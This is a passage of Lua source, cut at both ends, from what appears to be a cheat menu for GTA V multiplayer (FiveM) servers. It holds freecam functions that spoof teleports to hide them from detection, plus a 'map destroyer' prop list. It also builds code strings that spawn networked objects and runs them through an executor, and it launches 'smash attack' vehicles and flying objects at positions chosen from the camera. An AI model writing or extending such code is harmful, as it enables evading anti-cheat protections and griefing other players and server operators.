Ham.spoofTeleport(true) end local x, y, z = vector.x, vector.y, vector.z local heading = GetEntityHeading(vehicle) local seat = restoreState.seat RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) menu.utils.requestFreecamEntityControl(vehicle, 900) local groundZ = nil local deadline = GetGameTimer() + 1200 while deadline > GetGameTimer() do RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) groundZ = menu.utils.findFreecamTeleportGroundZ(x, y, z) if groundZ then break end Citizen.Wait(10) end local vehicleZ = menu.utils.resolveFreecamVehicleGroundZ(x, y, groundZ or z, vehicle) menu.utils.withTempPlayerInvisibility(function() ClearPedTasksImmediately(playerPed) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) if not IsPedInVehicle(playerPed, vehicle, false) then if seat == nil then if IsVehicleSeatFree(vehicle, -1) then seat = -1 else local passengers = GetVehicleMaxNumberOfPassengers(vehicle) or -1 for passengerSeat = 0, passengers - 1, 1 do if IsVehicleSeatFree(vehicle, passengerSeat) then seat = passengerSeat break end end end end if seat ~= nil then TaskWarpPedIntoVehicle(playerPed, vehicle, seat) Citizen.Wait(0) if not IsPedInVehicle(playerPed, vehicle, false) then SetPedIntoVehicle(playerPed, vehicle, seat) end local warpDeadline = GetGameTimer() + 450 while not IsPedInVehicle(playerPed, vehicle, false) do if not (warpDeadline > GetGameTimer()) then break end Citizen.Wait(10) end end end FreezeEntityPosition(vehicle, true) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) SetEntityCoords(vehicle, x, y, vehicleZ, false, false, false, true) SetEntityHeading(vehicle, heading) Citizen.Wait(0) SetVehicleOnGroundProperly(vehicle) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) FreezeEntityPosition(vehicle, false) end) if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end menu.vars.freecamOriginalPlayerCoords = GetEntityCoords(vehicle) return true end function menuUtilities.isFreecamMapDestroyerModel(model) if not model then return false end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.mapDestroyerList then local iterator, state, initial = ipairs(freecamMenu.mapDestroyerList) for _, entry in iterator, state, initial do local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return true end end end end return false end function menuUtilities.isFreecamCrosshairSpawnModel(model) if not model then return false end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.mapDestroyerList then local iterator, state, initial = ipairs(freecamMenu.mapDestroyerList) for _, entry in iterator, state, initial do if entry.crosshairSpawn then local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return true end end end end end return false end function menuUtilities.getFreecamMapDestroyerEntryForModel(model) if not model then return nil end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.mapDestroyerList then local iterator, state, initial = ipairs(freecamMenu.mapDestroyerList) for _, entry in iterator, state, initial do local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return entry end end end end return nil end function menuUtilities.isFreecamNeonRingSpawnModel(model) if not model then return false end if model == "ar_prop_ar_neon_gate4x_01a" or model == "ar_prop_ar_neon_gate4x_03a" then return true end local entry = menu.utils.getFreecamMapDestroyerEntryForModel(model) if not entry then return entry end return entry.ringFacingSpawn == true end function menuUtilities.getFreecamNeonRingSpawnDistance(model) local entry = menu.utils.getFreecamMapDestroyerEntryForModel(model) if entry and entry.spawnForwardDistance then return entry.spawnForwardDistance end return 50.0 end function menuUtilities.getFreecamNeonRingSpawnTransform(model, preview) local entry = menu.utils.getFreecamMapDestroyerEntryForModel(model) local distance = menu.utils.getFreecamNeonRingSpawnDistance(model) if preview and entry and entry.previewForwardDistance then distance = entry.previewForwardDistance end local headingOffset = entry and entry.ringHeadingOffset or 90.0 local cameraPosition = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraPosition or not cameraRotation then return nil end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local magnitude = #direction local unitDirection if 0.01 < magnitude then unitDirection = direction / magnitude else unitDirection = vector3(0.0, 1.0, 0.0) end local target = cameraPosition + unitDirection * distance local modelHash = model and GetHashKey(model) or 0 local groundZ = menu.utils.getFreecamObjectGroundZ(target.x, target.y, target.z, modelHash) local position = vector3(target.x, target.y, groundZ) local heading = ((cameraRotation.z or 0.0) + headingOffset) % 360.0 return position, cameraRotation, heading end function menuUtilities.placeFreecamNeonRingObject(entity, modelName, position, heading) if not entity or entity == 0 or not DoesEntityExist(entity) or not position then return end heading = heading or 0.0 SetEntityCoordsNoOffset(entity, position.x, position.y, position.z, false, false, false) SetEntityHeading(entity, heading) local model = GetEntityModel(entity) if model == 0 and modelName then model = GetHashKey(modelName) end local minimum, maximum = GetModelDimensions(model) if not minimum or not maximum then return end local centerX = (minimum.x + maximum.x) * 0.5 local centerY = (minimum.y + maximum.y) * 0.5 local worldPosition = GetOffsetFromEntityInWorldCoords(entity, centerX, centerY, minimum.z) local entityPosition = GetEntityCoords(entity) SetEntityCoordsNoOffset( entity, entityPosition.x + position.x - worldPosition.x, entityPosition.y + position.y - worldPosition.y, entityPosition.z + position.z - worldPosition.z, false, false, false ) Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, entity, true) end function menuUtilities.spawnFreecamNeonRingObject(model) if not model then return false end local position, rotation, heading = menu.utils.getFreecamNeonRingSpawnTransform(model) if not position then return false end local headingText = menu.utils.freecamFormatSpawnNum(heading, 0.0) local prefix = " local spawnPos = vector3(" local x = menu.utils.freecamFormatSpawnNum(position.x) local y = menu.utils.freecamFormatSpawnNum(position.y) local z = menu.utils.freecamFormatSpawnNum(position.z) local headingPrefix = [[ ) local heading = ]] local modelPrefix = [[ RequestCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) RequestAdditionalCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) local objectModel = GetHashKey("]] local suffix = [[ ") RequestModel(objectModel) local loadTimeout = GetGameTimer() + 5000 while not HasModelLoaded(objectModel) and GetGameTimer() < loadTimeout do Citizen.Wait(0) end if not HasModelLoaded(objectModel) then SetModelAsNoLongerNeeded(objectModel) return end local obj = CreateObject(objectModel, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if DoesEntityExist(obj) then SetEntityHeading(obj, heading) local minBa, maxBa = GetModelDimensions(objectModel) if minBa and maxBa then local mx = (minBa.x + maxBa.x) * 0.5 local my = (minBa.y + maxBa.y) * 0.5 local mz = minBa.z SetEntityCoordsNoOffset(obj, spawnPos.x, spawnPos.y, spawnPos.z, false, false, false) local cWorld = GetOffsetFromEntityInWorldCoords(obj, mx, my, mz) local pEnt = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, pEnt.x + spawnPos.x - cWorld.x, pEnt.y + spawnPos.y - cWorld.y, pEnt.z + spawnPos.z - cWorld.z, false, false, false) end SetModelAsNoLongerNeeded(objectModel) pcall(function() local ent = Entity(obj) if ent and ent.state then ent.state:set("fO", 2296, true) end end) end ]] local code = prefix .. x .. ", " .. y .. ", " .. z .. headingPrefix .. headingText .. modelPrefix .. model .. suffix menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(code)) return true end function menuUtilities.getFreecamPreviewSideOffset(model) local entry = menu.utils.getFreecamMapDestroyerEntryForModel(model) if entry and entry.previewSideOffset then return entry.previewSideOffset end return 0.0 end function menuUtilities.applyFreecamPreviewSideOffset(vector, rotation, offset) if not vector or not offset or offset == 0 then return vector end local radians = math.rad(rotation and rotation.z or 0.0) return vector3(vector.x + math.cos(radians) * offset, vector.y + math.sin(radians) * offset, vector.z) end function menuUtilities.isFreecamCrosshairOriginSpawnModel(model) local entry = menu.utils.getFreecamMapDestroyerEntryForModel(model) if not entry then return entry end return entry.crosshairSpawnOrigin == true end function menuUtilities.isFreecamBottomAlignModel(model) if not model then return false end if menu.utils.isFreecamNeonRingSpawnModel(model) then return false end if model == "xs_propint3_waste_05_goals" or model == "xs_propint3_waste_04_tires" or model == "xs_propint3_waste_03_tires" or model == "xs_propint3_set_waste_03_licencep" or model == "xs_combined2_dyst_build_02a_09" or model == "xs_prop_arena_flipper_large_01a_sf" or model == "xs_prop_lplate_01a_wl" or model == "xs_prop_lplate_wall_01c_wl" or model == "xs_prop_lplate_bend_01a_wl" or model == "xm_prop_x17_mine_03a" or model == "xm_prop_x17_silo_01a" then return true end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.mapDestroyerList then local iterator, state, initial = ipairs(freecamMenu.mapDestroyerList) for _, entry in iterator, state, initial do if entry.crosshairSpawn then local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return false end end end local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return true end end end end return false end function menuUtilities.shouldFreezeFreecamSpawnModel(model) if not model then return false end local iterator, state, initial = ipairs(menu.utils.getFreecamPriorityObjects()) for _, entry in iterator, state, initial do if entry.model == model and entry.freeze then return true end end iterator, state, initial = ipairs(menu.utils.getFreecamBaseObjects()) for _, entry in iterator, state, initial do if entry.model == model and entry.freeze then return true end end local freecamMenu = menu.vars.freecamMenu if freecamMenu and freecamMenu.objectList then iterator, state, initial = ipairs(freecamMenu.objectList) for _, entry in iterator, state, initial do if entry.model == model and entry.freeze then return true end end end if freecamMenu and freecamMenu.mapDestroyerList then iterator, state, initial = ipairs(freecamMenu.mapDestroyerList) for _, entry in iterator, state, initial do if entry.freeze then local itemIterator, itemState, itemInitial = ipairs(entry.objects or {}) for _, object in itemIterator, itemState, itemInitial do if object == model then return true end end end end end return false end function menuUtilities.configureFreecamVehiclePreviewEntity(previewEntity) if not previewEntity or previewEntity == 0 or not DoesEntityExist(previewEntity) then return end menu.utils.configureFreecamPreviewEntity(previewEntity) SetVehicleUndriveable(previewEntity, true) SetVehicleEngineOn(previewEntity, false, true, true) SetVehicleDoorsLocked(previewEntity, 1) end function menuUtilities.placeFreecamVehiclePreview(entity, position, rotation) if not entity or entity == 0 or not DoesEntityExist(entity) or not position or not rotation then return end local model = GetEntityModel(entity) local groundZ = position.z if menu.functions and menu.functions.getVehiclePreviewGroundZ then groundZ = menu.functions.getVehiclePreviewGroundZ(position.x, position.y, position.z, model) end SetEntityCoordsNoOffset(entity, position.x, position.y, groundZ, false, false, false) SetEntityHeading(entity, rotation.z or 0.0) Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, entity, true) end function menuUtilities.placeFreecamSmashAttackPreview(entity, position, rotation, pitch) if not entity or entity == 0 or not DoesEntityExist(entity) or not position or not rotation then return end local model = GetEntityModel(entity) local angle = pitch or -90.0 local heading = rotation.z or 0.0 local groundZ = position.z if menu.functions and menu.functions.getVehiclePreviewGroundZ then groundZ = menu.functions.getVehiclePreviewGroundZ(position.x, position.y, position.z, model) end local minimum, maximum = GetModelDimensions(model) local height = 4.0 if minimum and maximum then height = math.max(math.abs(minimum.y), math.abs(maximum.y), math.abs(minimum.x), math.abs(maximum.x)) * 0.5 end SetEntityCoordsNoOffset(entity, position.x, position.y, groundZ + height, false, false, false) SetEntityRotation(entity, angle, 0.0, heading, 2, true) end function menuUtilities.getFreecamVehiclePreviewSpawn(expectedModel) if menu.vars.freecamPreviewSmashAttack or menu.vars.freecamPreviewKind ~= "vehicle" then return nil end local entity = menu.vars.freecamPreviewEntity local model = menu.vars.freecamPreviewModel if not entity or entity == 0 or not DoesEntityExist(entity) or (expectedModel and model ~= expectedModel) then return nil end local coords = GetEntityCoords(entity) return { x = coords.x, y = coords.y, z = coords.z, heading = GetEntityHeading(entity), model = model } end function menuUtilities.getFreecamPreviewTransform(expectedModel) local entity = menu.vars.freecamPreviewEntity local model = menu.vars.freecamPreviewModel if not entity or entity == 0 or not DoesEntityExist(entity) or (expectedModel and model ~= expectedModel) then return nil end local coords = GetEntityCoords(entity) return { x = coords.x, y = coords.y, z = coords.z, heading = GetEntityHeading(entity), useNoOffset = menu.utils.isFreecamNoOffsetModel(model), model = model } end function menuUtilities.spawnFreecamObjectFromTransform(model, transform) if not model or not transform then return false end local constructor = transform.useNoOffset and "CreateObjectNoOffset" or "CreateObject" local freezeCommand = menu.utils.shouldFreezeFreecamSpawnModel(model) and "FreezeEntityPosition(obj, true)" or "" local prefix = " local spawnPos = vector3(" local x = menu.utils.freecamFormatSpawnNum(transform.x) local y = menu.utils.freecamFormatSpawnNum(transform.y) local z = menu.utils.freecamFormatSpawnNum(transform.z) local modelPrefix = [[ ) RequestCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) RequestAdditionalCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) local objectModel = GetHashKey("]] local constructorPrefix = [[ ") RequestModel(objectModel) local loadTimeout = GetGameTimer() + 5000 while not HasModelLoaded(objectModel) and GetGameTimer() < loadTimeout do Citizen.Wait(0) end if not HasModelLoaded(objectModel) then SetModelAsNoLongerNeeded(objectModel) return end local obj = ]] local headingPrefix = [[ (objectModel, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if DoesEntityExist(obj) then SetEntityHeading(obj, ]] local heading = menu.utils.freecamFormatSpawnNum(transform.heading, 0.0) local freezePrefix = [[ ) SetEntityCoordsNoOffset(obj, spawnPos.x, spawnPos.y, spawnPos.z, false, false, false) ]] local suffix = [[ SetModelAsNoLongerNeeded(objectModel) pcall(function() local ent = Entity(obj) if ent and ent.state then ent.state:set("fO", 2296, true) end end) end ]] local code = prefix .. x .. ", " .. y .. ", " .. z .. modelPrefix .. model .. constructorPrefix .. constructor .. headingPrefix .. heading .. freezePrefix .. freezeCommand .. suffix menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(code)) return true end function menuUtilities.spawnFreecamObjectFromRaycast(model, origin, direction, rotation) if not model or not origin or not direction then return false end if menu.utils.isFreecamNeonRingSpawnModel(model) then return menu.utils.spawnFreecamNeonRingObject(model) end local endpoint = origin + direction * 1000.0 local shapeFlags = 1 if model == "xs_propint3_waste_05_goals" or model == "xs_propint3_waste_04_tires" or model == "xs_propint3_waste_03_tires" or model == "xs_propint3_waste_03_tirerim" or model == "xs_propint3_set_waste_03_licencep" or model == "xs_combined2_dyst_build_02a_09" or menu.utils.isFreecamMapDestroyerModel(model) then shapeFlags = 511 end local ray = StartShapeTestRay( origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, shapeFlags, PlayerPedId(), 0 ) local status, hit, hitPosition = 1, false, nil local deadline = GetGameTimer() + 100 while status == 1 and deadline > GetGameTimer() do status, hit, hitPosition = GetShapeTestResult(ray) if status == 1 then Citizen.Wait(0) end end if status ~= 2 or not hit or not hitPosition then return false end local position = vector3(hitPosition.x, hitPosition.y, hitPosition.z) local sideOffset = menu.utils.getFreecamPreviewSideOffset(model) if sideOffset ~= 0 then position = menu.utils.applyFreecamPreviewSideOffset(position, rotation, sideOffset) end local heading = (rotation and rotation.z or 0.0) + menu.utils.getFreecamObjectRotationHeadingOffset() local headingText = menu.utils.freecamFormatSpawnNum(heading, 0.0) local constructor = menu.utils.isFreecamNoOffsetModel(model) and "CreateObjectNoOffset" or "CreateObject" local placement = "" local headingCommand = " local heading = " .. headingText .. " if \"" .. model .. [[ " == "h4_prop_h4_sub_kos" then heading = heading + 180.0 end SetEntityHeading(obj, heading) ]] if model == "h4_prop_h4_sub_kos" then placement = [[ SetEntityCoordsNoOffset(obj, spawnPos.x, spawnPos.y, spawnPos.z + 5.00, false, false, false) ]] elseif menu.utils.isFreecamCrosshairSpawnModel(model) then local heightText = menu.utils.freecamFormatSpawnNum(menu.utils.getFreecamObjectSpawnZOffset(model), 0.0) headingCommand = "" if menu.utils.isFreecamCrosshairOriginSpawnModel(model) then placement = " SetEntityCoordsNoOffset(obj, spawnPos.x, spawnPos.y, spawnPos.z + " .. heightText .. [[ , false, false, false) SetEntityHeading(obj, ]] .. headingText .. [[ ) ]] else placement = " SetEntityHeading(obj, " .. headingText .. [[ ) local zOffsetCr = ]] .. heightText .. [[ local targetPos = vector3(spawnPos.x, spawnPos.y, spawnPos.z + zOffsetCr) SetEntityCoordsNoOffset(obj, targetPos.x, targetPos.y, targetPos.z, false, false, false) local minCr, maxCr = GetModelDimensions(objectModel) if minCr and maxCr then local mx = (minCr.x + maxCr.x) * 0.5 local my = (minCr.y + maxCr.y) * 0.5 local mz = (minCr.z + maxCr.z) * 0.5 local anchorWorld = GetOffsetFromEntityInWorldCoords(obj, mx, my, mz) local pEnt = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, pEnt.x + targetPos.x - anchorWorld.x, pEnt.y + targetPos.y - anchorWorld.y, pEnt.z + targetPos.z - anchorWorld.z, false, false, false) end ]] end elseif menu.utils.isFreecamOriginSpawnModel(model) then headingCommand = "" placement = " SetEntityHeading(obj, " .. headingText .. [[ ) SetEntityCoordsNoOffset(obj, spawnPos.x, spawnPos.y, spawnPos.z, false, false, false) ]] elseif menu.utils.isFreecamBottomAlignModel(model) then local heightText = menu.utils.freecamFormatSpawnNum(menu.utils.getFreecamObjectSpawnZOffset(model), 0.0) headingCommand = "" placement = " local headingBa = " .. headingText .. [[ SetEntityHeading(obj, headingBa) local minBa, maxBa = GetModelDimensions(objectModel) if minBa and maxBa then local mx = (minBa.x + maxBa.x) * 0.5 local my = (minBa.y + maxBa.y) * 0.5 local mz = minBa.z local groundZ = spawnPos.z for _, probeZ in ipairs({ spawnPos.z + 800.0, spawnPos.z + 200.0, spawnPos.z + 50.0 }) do local found, z = GetGroundZFor_3dCoord(spawnPos.x, spawnPos.y, probeZ, false) if found then groundZ = z break end end groundZ = groundZ + ]] .. heightText .. [[ local targetPos = vector3(spawnPos.x, spawnPos.y, groundZ) SetEntityCoordsNoOffset(obj, targetPos.x, targetPos.y, targetPos.z, false, false, false) local cWorld = GetOffsetFromEntityInWorldCoords(obj, mx, my, mz) local pEnt = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, pEnt.x + targetPos.x - cWorld.x, pEnt.y + targetPos.y - cWorld.y, pEnt.z + targetPos.z - cWorld.z, false, false, false) end ]] end local prefix = " local spawnPos = vector3(" local x = menu.utils.freecamFormatSpawnNum(position.x) local y = menu.utils.freecamFormatSpawnNum(position.y) local z = menu.utils.freecamFormatSpawnNum(position.z) local modelPrefix = [[ ) RequestCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) RequestAdditionalCollisionAtCoord(spawnPos.x, spawnPos.y, spawnPos.z) local objectModel = GetHashKey("]] local constructorPrefix = [[ ") RequestModel(objectModel) local loadTimeout = GetGameTimer() + 5000 while not HasModelLoaded(objectModel) and GetGameTimer() < loadTimeout do Citizen.Wait(0) end if not HasModelLoaded(objectModel) then SetModelAsNoLongerNeeded(objectModel) return end local obj = ]] local placementPrefix = [[ (objectModel, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if DoesEntityExist(obj) then ]] local freezeCommand = menu.utils.shouldFreezeFreecamSpawnModel(model) and " FreezeEntityPosition(obj, true)\n" or "" local suffix = [[ SetModelAsNoLongerNeeded(objectModel) pcall(function() local ent = Entity(obj) if ent and ent.state then ent.state:set("fO", 2296, true) end end) end ]] local code = prefix .. x .. ", " .. y .. ", " .. z .. modelPrefix .. model .. constructorPrefix .. constructor .. placementPrefix .. placement .. headingCommand .. freezeCommand .. suffix menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(code)) return true end function menuUtilities.alignFreecamOffsetModelToHit(entity, modelName, position, heading) if not entity or entity == 0 or not DoesEntityExist(entity) or not position then return end heading = heading or 0.0 SetEntityCoordsNoOffset(entity, position.x, position.y, position.z, false, false, false) SetEntityHeading(entity, heading) local model = GetEntityModel(entity) if model == 0 and modelName then model = GetHashKey(modelName) end local minimum, maximum = GetModelDimensions(model) if not minimum or not maximum then return end local centerX = (minimum.x + maximum.x) * 0.5 local centerY = (minimum.y + maximum.y) * 0.5 local centerZ = (minimum.z + maximum.z) * 0.5 if menu.utils.isFreecamBottomAlignModel(modelName) then centerZ = minimum.z end local worldPosition = GetOffsetFromEntityInWorldCoords(entity, centerX, centerY, centerZ) local entityPosition = GetEntityCoords(entity) SetEntityCoordsNoOffset( entity, entityPosition.x + position.x - worldPosition.x, entityPosition.y + position.y - worldPosition.y, entityPosition.z + position.z - worldPosition.z, false, false, false ) end function menuUtilities.placeFreecamCrosshairSpawnObject(entity, modelName, position, heading) if not entity or entity == 0 or not DoesEntityExist(entity) or not position then return end heading = heading or 0.0 local target = vector3(position.x, position.y, position.z + menu.utils.getFreecamObjectSpawnZOffset(modelName)) if menu.utils.isFreecamCrosshairOriginSpawnModel(modelName) then SetEntityCoordsNoOffset(entity, target.x, target.y, target.z, false, false, false) SetEntityHeading(entity, heading) else menu.utils.alignFreecamOffsetModelToHit(entity, modelName, target, heading) end end function menuUtilities.placeFreecamObjectPreview(entity, model, position, rotation) if not entity or entity == 0 or not DoesEntityExist(entity) or not position or not rotation then return end local heading = (rotation.z or 0.0) + menu.utils.getFreecamObjectRotationHeadingOffset() local sideOffset = menu.utils.getFreecamPreviewSideOffset(model) if sideOffset ~= 0 then position = menu.utils.applyFreecamPreviewSideOffset(position, rotation, sideOffset) end if model == "h4_prop_h4_sub_kos" then SetEntityCoordsNoOffset(entity, position.x, position.y, position.z + 5.0, false, false, false) SetEntityHeading(entity, heading + 180.0) elseif menu.utils.isFreecamNeonRingSpawnModel(model) then local ringPosition, ringRotation, ringHeading = menu.utils.getFreecamNeonRingSpawnTransform(model, true) if ringPosition then menu.utils.placeFreecamNeonRingObject(entity, model, ringPosition, ringHeading) end elseif menu.utils.isFreecamCrosshairSpawnModel(model) then menu.utils.placeFreecamCrosshairSpawnObject(entity, model, position, heading) elseif menu.utils.isFreecamOriginSpawnModel(model) then SetEntityHeading(entity, heading) SetEntityCoordsNoOffset(entity, position.x, position.y, position.z, false, false, false) elseif menu.utils.isFreecamBottomAlignModel(model) then local groundZ = menu.utils.getFreecamObjectGroundZ(position.x, position.y, position.z, GetHashKey(model)) groundZ = groundZ + menu.utils.getFreecamObjectSpawnZOffset(model) menu.utils.alignFreecamOffsetModelToHit( entity, model, vector3(position.x, position.y, groundZ), heading ) else SetEntityCoordsNoOffset(entity, position.x, position.y, position.z, false, false, false) SetEntityHeading(entity, heading) end Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, entity, true) end function menuUtilities.getFreecamKosShootRotation(vector) if not vector then return 0.0, 0.0, 0.0 end local x, y, z = vector.x, vector.y, vector.z local horizontalLength = math.sqrt(x * x + y * y) if horizontalLength < 0.001 then horizontalLength = 0.001 end local heading = GetHeadingFromVector_2d(x, y) local pitch = -math.deg(math.atan2(z, horizontalLength)) return pitch - 90.0, 90.0, heading + 180.0 end function menuUtilities.getFreecamShootObjectFlightRotation(vector) if not vector then return 0.0, 0.0, 0.0 end local x, y, z = vector.x, vector.y, vector.z local horizontalLength = math.sqrt(x * x + y * y) if horizontalLength < 0.001 then horizontalLength = 0.001 end local heading = GetHeadingFromVector_2d(x, y) local pitch = -math.deg(math.atan2(z, horizontalLength)) return pitch, 0.0, heading end function menuUtilities.isFreecamShootObjectNoOffset(model) return model == "h4_prop_h4_sub_kos" end function menuUtilities.isFreecamShootObjectFreezeLaunchModel(model) return model == "xs_combined2_dyst_07_rear_hull" end function menuUtilities.getFreecamShootObjectTransform(settings) settings = settings or {} local distance = settings.previewDistFromCam or 100.0 local backOffset = settings.spawnBackOffset or 0.0 local cameraPosition = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraPosition or not cameraRotation then return nil end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local magnitude = #direction local unitDirection if 0.01 < magnitude then unitDirection = direction / magnitude else unitDirection = vector3(0.0, 1.0, 0.0) end local position = cameraPosition + unitDirection * distance - unitDirection * backOffset local pitch, roll, yaw if settings.modelName == "h4_prop_h4_sub_kos" then pitch, roll, yaw = menu.utils.getFreecamKosShootRotation(unitDirection) else pitch, roll, yaw = menu.utils.getFreecamShootObjectFlightRotation(unitDirection) end return position, cameraRotation, unitDirection, pitch, roll, yaw end function menuUtilities.getFreecamShootObjectFromCamTransform(cameraPosition, direction, cameraRotation) cameraPosition = cameraPosition or GetFinalRenderedCamCoord() cameraRotation = cameraRotation or GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return nil end if not direction then local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) end local magnitude = #direction local unitDirection if 0.01 < magnitude then unitDirection = direction / magnitude else unitDirection = vector3(0.0, 1.0, 0.0) end local position = cameraPosition + unitDirection * 1.2 position = vector3(position.x, position.y, position.z - 0.55) local backOffset = 0.28 position = vector3( position.x - unitDirection.x * backOffset, position.y - unitDirection.y * backOffset, position.z - unitDirection.z * backOffset ) return position, unitDirection, cameraRotation.x, 0.0, cameraRotation.z end function menuUtilities.getFreecamShootPreviewPosAndRot() local position, rotation = menu.utils.getFreecamShootObjectTransform() if not position then return nil end return position, rotation end function menuUtilities.placeFreecamShootObjectPreview(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end local position, cameraRotation, direction, pitch, roll, yaw = menu.utils.getFreecamShootObjectTransform() if not position or not cameraRotation then return end SetEntityCoordsNoOffset(entity, position.x, position.y, position.z, false, false, false) SetEntityRotation(entity, pitch, roll, yaw, 2, true) Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, entity, true) end function menuUtilities.repositionFreecamSpawnPreview() local entity = menu.vars.freecamPreviewEntity local model = menu.vars.freecamPreviewModel if not entity or entity == 0 or not DoesEntityExist(entity) or not model then return end if menu.vars.freecamPreviewShootPreview then menu.utils.placeFreecamShootObjectPreview(entity) return end if menu.utils.isFreecamNeonRingSpawnModel(model) then local position, rotation, heading = menu.utils.getFreecamNeonRingSpawnTransform(model, true) if position then menu.utils.placeFreecamNeonRingObject(entity, model, position, heading) end return end menu.utils.updateFreecamPreviewRaycast(menu.vars.freecamPreviewShapeFlags or 1) local position = menu.vars.freecamPreviewRayPos local rotation = GetFinalRenderedCamRot(2) if not rotation then rotation = GetGameplayCamRot(2) or menu.vars.freecamPreviewRayRot end if not position or not rotation then return end if menu.vars.freecamPreviewKind == "vehicle" then if menu.vars.freecamPreviewSmashAttack then menu.utils.placeFreecamSmashAttackPreview( entity, position, rotation, menu.vars.freecamPreviewDivePitch ) return end menu.utils.placeFreecamVehiclePreview(entity, position, rotation) return end if menu.vars.freecamPreviewShootPreview then menu.utils.placeFreecamShootObjectPreview(entity) else menu.utils.placeFreecamObjectPreview(entity, model, position, rotation) end end function menuUtilities.clearFreecamSpawnPreview() menu.vars.freecamPreviewGen = (menu.vars.freecamPreviewGen or 0) + 1 menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewRayPending = nil menu.vars.freecamPreviewRayPos = nil menu.vars.freecamPreviewRayRot = nil if menu.vars.freecamPreviewEntity and DoesEntityExist(menu.vars.freecamPreviewEntity) then Citizen.InvokeNative(1981285383, menu.vars.freecamPreviewEntity, false) DeleteEntity(menu.vars.freecamPreviewEntity) end menu.vars.freecamPreviewEntity = nil menu.vars.freecamPreviewModel = nil menu.vars.freecamPreviewShapeFlags = nil menu.vars.freecamPreviewKind = nil menu.vars.freecamPreviewSmashAttack = nil menu.vars.freecamPreviewDivePitch = nil menu.vars.freecamPreviewShootPreview = nil menu.vars.freecamObjectRotationStep = 0 end function menuUtilities.updateFreecamSpawnPreview(context) if not context or not context.model then return end local shapeFlags = context.shapeFlags or 1 local kind = context.kind or "object" local modelName = tostring(context.model) modelName = modelName:gsub("^%s+", "") modelName = modelName:gsub("%s+$", "") if modelName == "" then return end if menu.vars.freecamPreviewModel == modelName and menu.vars.freecamPreviewKind == kind and menu.vars.freecamPreviewSelKey == (context.selKey or "") and menu.vars.freecamPreviewShootPreview == (context.shootPreview == true) and menu.vars.freecamPreviewEntity and DoesEntityExist(menu.vars.freecamPreviewEntity) then menu.vars.freecamPreviewShapeFlags = shapeFlags menu.vars.freecamPreviewSmashAttack = context.smashAttack == true menu.vars.freecamPreviewDivePitch = context.divePitch menu.vars.freecamPreviewShootPreview = context.shootPreview == true return end if menu.vars.freecamPreviewPending == modelName and menu.vars.freecamPreviewKind == kind and menu.vars.freecamPreviewSelKey == (context.selKey or "") then menu.vars.freecamPreviewShapeFlags = shapeFlags menu.vars.freecamPreviewSmashAttack = context.smashAttack == true menu.vars.freecamPreviewDivePitch = context.divePitch menu.vars.freecamPreviewShootPreview = context.shootPreview == true return end menu.utils.clearFreecamSpawnPreview() local generation = menu.vars.freecamPreviewGen menu.vars.freecamPreviewPending = modelName menu.vars.freecamPreviewShapeFlags = shapeFlags menu.vars.freecamPreviewKind = kind menu.vars.freecamPreviewSmashAttack = context.smashAttack == true 